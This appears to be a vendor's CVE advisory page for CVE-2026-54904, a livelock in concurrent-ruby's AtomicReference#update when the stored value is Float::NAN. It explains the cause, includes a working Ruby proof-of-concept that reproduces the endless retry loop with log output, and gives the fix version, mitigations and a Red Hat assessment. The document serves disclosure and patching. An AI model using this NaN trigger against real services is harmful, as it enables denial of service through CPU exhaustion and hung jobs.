CVE-2026-54904 — concurrent-ruby
Fix: ruby-concurrency/concurrent-ruby@6e37e06CVE-2026-54904 is a CWE-835 vulnerability in concurrent-ruby. A fix is available for concurrent-ruby — see the affected versions and patch details below.
concurrent-ruby: `AtomicReference#update` livelocks when the stored value is `Float::NAN`
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-54904.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
concurrent-rubyReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN.
The issue is caused by the interaction between:
AtomicReference#update, which retries untilcompare_and_set(old_value, new_value)succeeds.- Numeric
compare_and_set, which checksold == old_valuebefore attempting the underlying atomic swap. - Ruby NaN semantics, where
Float::NAN == Float::NANis alwaysfalse.
As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs.
Version
Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab
Details
AtomicReference#update retries until compare_and_set returns true:
def update
true until compare_and_set(old_value = get, new_value = yield(old_value))
new_value
end
For numeric expected values, compare_and_set uses numeric equality before attempting the underlying atomic compare-and-set:
def compare_and_set(old_value, new_value)
if old_value.kind_of? Numeric
while true
old = get
return false unless old.kind_of? Numeric
return false unless old == old_value
result = _compare_and_set(old, new_value)
return result if result
end
else
_compare_and_set(old_value, new_value)
end
end
When the stored value is Float::NAN, old_value = get returns NaN. The later comparison old == old_value is false because NaN is not equal to itself. compare_and_set therefore returns false every time. AtomicReference#update treats that as a failed concurrent update and retries forever.
This is reachable through the public Concurrent::AtomicReference API and does not require native extensions or undefined behavior.
PoC
#!/usr/bin/env ruby
# frozen_string_literal: true
require 'concurrent/atomic/atomic_reference'
require 'concurrent/version'
puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=AtomicReference#update livelock when current value is Float::NAN"
ref = Concurrent::AtomicReference.new(Float::NAN)
attempts = 0
finished = false
worker = Thread.new do
ref.update do |_old_value|
attempts += 1
0.0
end
finished = true
end
sleep 0.25
puts "nan_update_attempts_after_250ms=#{attempts}"
puts "nan_update_finished=#{finished}"
puts "nan_update_worker_alive=#{worker.alive?}"
if worker.alive? && !finished && attempts > 1000
puts 'result=REPRODUCED busy retry loop; update did not complete'
else
puts 'result=NOT_REPRODUCED'
end
worker.kill
worker.join
control = Concurrent::AtomicReference.new(1.0)
control_attempts = 0
control_result = control.update do |old_value|
control_attempts += 1
old_value + 1.0
end
puts "control_update_result=#{control_result.inspect}"
puts "control_update_attempts=#{control_attempts}"
puts "control_update_final_value=#{control.value.inspect}"
Log evidence
ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
concurrent_ruby_version=1.3.6
poc=AtomicReference#update livelock when current value is Float::NAN
nan_update_attempts_after_250ms=1926016
nan_update_finished=false
nan_update_worker_alive=true
result=REPRODUCED busy retry loop; update did not complete
control_update_result=2.0
control_update_attempts=1
control_update_final_value=2.0
Impact
This is an application-level denial of service issue. If an application stores externally derived numeric data in a Concurrent::AtomicReference, an attacker or faulty upstream data source may be able to cause the stored value to become Float::NAN. Any later call to AtomicReference#update on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.
Credit
Pranjali Thakur - depthfirst (depthfirst.com)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💎RubyGems | concurrent-ruby | all versions | 1.3.7bundle update concurrent-ruby --conservative |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for concurrent-ruby, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update concurrent-ruby to 1.3.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-54904 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-54904 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-54904. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
The issue arises when the `AtomicReference#update` method encounters a `Float::NAN` value, leading to an infinite retry loop and potential CPU exhaustion. The vulnerable `AtomicReference#update` method is not used with externally-controlled (e.g: `Float::NAN`) values - thus exploitation is not possible.
The vulnerable `AtomicReference#update` code path is not exercised with externally-derived numeric values, making exploitation not possible in this context. Updating to concurrent-ruby 1.3.7 when available in upstream dependencies will fully resolve this issue.Source: Red Hat security advisory for CVE-2026-54904 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2026-54904 in your dependencies?
O3 Security finds CVE-2026-54904 across RubyGems dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.